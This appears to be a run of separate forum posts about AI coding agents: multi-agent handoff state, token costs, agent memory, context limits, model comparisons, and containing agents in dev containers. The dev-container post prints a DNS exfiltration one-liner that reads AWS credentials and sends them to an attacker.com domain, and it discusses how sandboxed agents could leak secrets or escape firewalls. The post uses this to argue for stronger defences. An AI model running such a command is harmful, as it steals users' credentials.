I keep seeing this question in the community. Here's what I actually tried, why it broke, and what I ended up shipping.

The problem

When you're running multiple agents across a session (one that writes, one that reviews, one that deploys) you need them to share state. Not just conversation history. Actual verified state: what changed, what's blocked, what evidence exists that a task is done.

What I tried first (and why it failed)

Attempt 1: I maintained the handoff notes myself

After every session, I updated a Markdown file. This worked until I finished tired and skipped the update. The next agent read stale context as if it were current. Worse: even when the file was accurate, I was still the router, a human bottleneck between every agent transition.

Attempt 2: I let agents maintain the notes

The agent finished its work, updated the handoff, and the next continued from there. Then I noticed the real problem: an agent could write "tests pass" just as easily as it could actually run the tests.

Agent A would write: "Refactored auth. Tests pass."

Agent B had no idea which tests ran, against which version, or whether the slow integration suite was skipped. It didn't inherit verified work. It inherited a story about the work.

What I built

Three principles became the foundation:

State in fields, not paragraphs. What changed, what's blocked, what's unresolved as explicit fields, not embedded in a summary. An agent can't make unresolved work disappear by writing a nicer paragraph.

The agent that does the work can't approve it. A separate reviewer starts from the original goal and inspects the result directly, not from the implementing agent's explanation of why it's probably done.

Machine-checkable claims need evidence attached to a specific version. "Tests pass" is a claim. A test result attached to the exact commit hash is evidence. If the code changes after the evidence was produced, the evidence doesn't automatically transfer.

This became an open-source project (link in comments).

Results over 30 days of dogfooding

4,172 PRs merged across 16 repositories, one maintainer

Coordination overhead stayed roughly flat from 3 agents to 10; adding agents stopped adding to my mental load linearly

Stale-context bugs dropped to near zero because agents can't declare victory without attached evidence

The number I actually care about: my day looks the same with 3 agents as with 10. That wasn't true before.

What didn't work

The reviewer agent still occasionally fails to distinguish "the goal changed mid-task" from "the implementation is wrong." We handle this with an explicit goal-hash that both agents reference, but it adds friction. Still working on the right UX for that.

Has anyone else hit the "agent self-reports done but the work isn't clean" problem? Curious what enforcement patterns people are using, if any.

I'm currently evaluating GitHub Copilot vs. Claude Code for our team. We could use either, but for us there's a slight difference in cost per token (Copilot with Anthropic models vs. Claude Code directly).

If we use the exact same model on the same repository with identical instructions, has anyone noticed a real difference in token efficiency between the two harnesses? I'm wondering how much things like prompt caching, context assembly, or system prompting overhead change the actual token burn in practice.

Would appreciate any insights or real-world numbers!

Every time agent memory comes up here, the conversation goes straight to MemGPT, vector databases, embedding pipelines. I get the appeal, you want to read the source, run it locally, own the data. But here is what actually happens when you self-host your agent's memory: you spend weekends maintaining retrieval pipelines instead of shipping agent logic.

The real problem most people have is not "I need to build a memory layer." It is "I need my agents and AI tools to remember the same context across sessions without me re-explaining everything." That is a different problem than "let me set up a vector DB."

A few things I have found matter more than the infrastructure itself:

Provenance: knowing which tool generated a thought matters more than raw storage. When retrieval mixes context from Cursor, Claude, and a custom agent without labeling where each piece came from, you get confident hallucinations grounded in nothing.

Rules that stick: personal style directives ("no tables," "short answers") should apply automatically on every new chat, not be pasted in manually each time.

Skills over improvisation: saving a reusable procedure once beats hoping the agent reconstructs the same steps next session.

Open-source memory tools give you transparency and control. A hosted layer gives you time back. The tradeoff is honest: how much infrastructure work are you willing to own before it eats your shipping time?

Hello!

I was using today sol on medium, and my 5h limit was gone in 40-50 minutes. Anyone observed something like this in the last 2 days? They said that they are fixing some bugs because of this issue (obver token comsumption). Is worse than before. I was having sol on medium for almost two hours, sometimes more than that.

Same thing for others??

Obv i could create my own extension that does something like this but im just wondering is there a way with for example antigravity webstorm or vscode or another extension to load the whole codebase into context instead of agent reading by checking.

I run four agents at once on separate branches and worktrees and stopped reading every diff months ago. That only works if something other than my attention is holding the line, that is why I started to add security features to my dev containers.

It started with Anthropic's dev container. Its firewall lets DNS out to any server. So does OpenAI's, and their README says so plainly. Neither stops an agent shipping your keys out through a DNS query.

The detail, Anthropic's first. Line 29 allows UDP 53 to any server. Line 33 allows TCP 22 to any host. The allowlist rule on 117 has no port match, so it's any port on an allowed IP.

OpenAI's secure profile is better. Actual IPv6 default-deny, verified at startup, no SSH hole. DNS is still open though, UDP and TCP, lines 78 and 79. To their credit the README just says it:

The firewall does not apply its domain allowlist to DNS traffic, so code from an untrusted repository can exfiltrate data through DNS.

DNS is the one that bothered me, because it needs no privileges at all.

dig $(cat ~/.aws/credentials | base64 | head -c 60).attacker.com

That never connects to the attacker. A resolver you're allowed to use walks the chain and hands it over. iptables sees a normal query to an approved resolver and lets it through.

Docker's sbx is the one that's actually a product: KVM microVM, its own kernel, a gVisor userspace netstack, rules that are per host and per port and secret injection. Stronger boundary than anything I've built, no argument. Needs a Docker account though, and on a fresh personal account with no org it told me my policy was "managed by unknown organization" and wouldn't create a sandbox at all. Can't debug, because it's closed source.

As an open alternative I devloped o3s, it merges security and rapid development: Firewall lives in a separate container. The workspace has no way out except through it. DNS goes to a dnsmasq on that gateway with no catch-all upstream, just the domains I listed, so anything else gets refused instead of forwarded. Those same lookups drop the resolved IPs into ipsets, which is what keeps it working when a CDN moves.

Policy is one file:

["api.openai.com"]
ports  = [443]
secret = "OPENAI_API_KEY"

That secret line is the bit I use most. Key stays on the gateway, container gets a placeholder, gateway swaps in the real token on the way out for that host only.

Half of this isn't security though, and that's the half I actually notice day to day. Every repo and worktree in one workspace file, four agents on four branches, one source-control view for all of it. Rootless Docker and minikube inside so an agent can bring the whole stack up and wreck it. Everything installed is a devcontainer feature, so it's a list you edit rather than an image you're stuck with.

I also had the threat model wrong at first. I assumed the agent could just flush the firewall itself. It can't, sudo is scoped to that one script and a non-root process doesn't hold NET_ADMIN. So the problem was never escape, it's that the policy allows too much.

It won't stop exfiltration to a host you allowlisted, obviously. Push to your own GitHub repo and it's gone. And a container is a weaker boundary than a VM, so if you're running properly hostile code, go use sbx.

Otherwhise as open alternative: o3s

Anyone else using dev containers for their agent?

This may be obvious, but for those who don't know... the longer you run a session, the more tokens you will use. LLMs use tokens for inputs, outputs and review the context window for every new output. The more session text it processes, the more tokens burn, the faster usage gets gobbled up.

Additionally LLMs get dumber the long you run a session. Every model has capacity constraints built in, and once you cross 40% of that limit, there is too much information the model has to process to maintain quality output.

Matt Pocock explains these limits really well here:

https://youtu.be/nKSk_TiR8YA

https://youtu.be/-uW5-TaVXu4

Here is a breakdown of the context window capacity and max output for each of the models available in Codex:

If you are running into limits then you need to compact your sessions when you can. Once you reach 40% - 50% you should compile the session to hand it off to a new one to free up context window space.

Also note that for those of you who use the voice feature, you are likely speaking WAY more words than you would type, which means more words = more token usage = faster drops in capacity.

To solve for this I created a skill called $context-capacity that, when run, tells you how much context capacity you've used, how much you have left, and the cumulative session usage with a recommendation. Here is what that output looks like for one of my sessions:

Recommendation: Handoff

Current context load: 144,827 / 258,400 tokens (56.0%)

Estimated remaining capacity: 113,573 tokens (44.0%)

Cumulative session usage: 289,355 tokens — cumulative, not current occupancy

Confidence: Exact recorded metrics with derived capacity. The current load exceeds the skill’s 40% handoff threshold.

The website and promo-video handoffs already created are ready for separate sessions.

Here's a link to the skills for $context-capacity and $handoff for anyone who wants to use it:

https://github.com/marcushackler/codex-skills

How about your chatgpt work?

I have a ChatGPT Pro subscription and a Claude Max subscription, and use both extensively for work. To claim that any model offered by OpenAI is even close in capability or problem solving ability to Fable is a joke to me.

To me, the most comparable Claude model to 5.6 Sol, OpenAI's flagship, is Opus 5. They have roughly equivalent price (ignoring the temporary promotions on Sol pricing), and in my experience, their output quality is about the same as well; I end up having to put in about the same amount of effort correcting them or giving feedback to achieve a product of comparable quality.

The main difference is in the kind of feedback I have to give; with Sol, I typically end up having to add details to its results, such as instructing it to address missing edge cases, or take a more thorough approach when it took a simpler shortcut to solve my problem instead. With Opus, it usually finds most edge cases for me without having to say anything; but it also goes beyond and keeps finding more and more things, of decreasing and often spurious relevance to my actual problem. My effort usually comes in the form of telling it to ignore those extraneous edge cases and focus on the core of the problem.

But when compared to Fable, neither can hold a candle. Among every task I've ever given any agent, Fable always takes the least amount of time, the fewest tokens, and needs by far the least number of warnings in the prompt or corrections to the output, compared to any other Anthropic or OpenAI model.

To me, to say GPT 5.6 Sol is anywhere close to Fable in any capacity, and not just a competitor to Opus with different tuning, is completely unfathomable to me. You pay twice the price for it and you get your money's worth. Sure it's expensive, and you can run through your weekly limits in hours, but you can't argue that it just works. I can't say the same about Opus or Sol.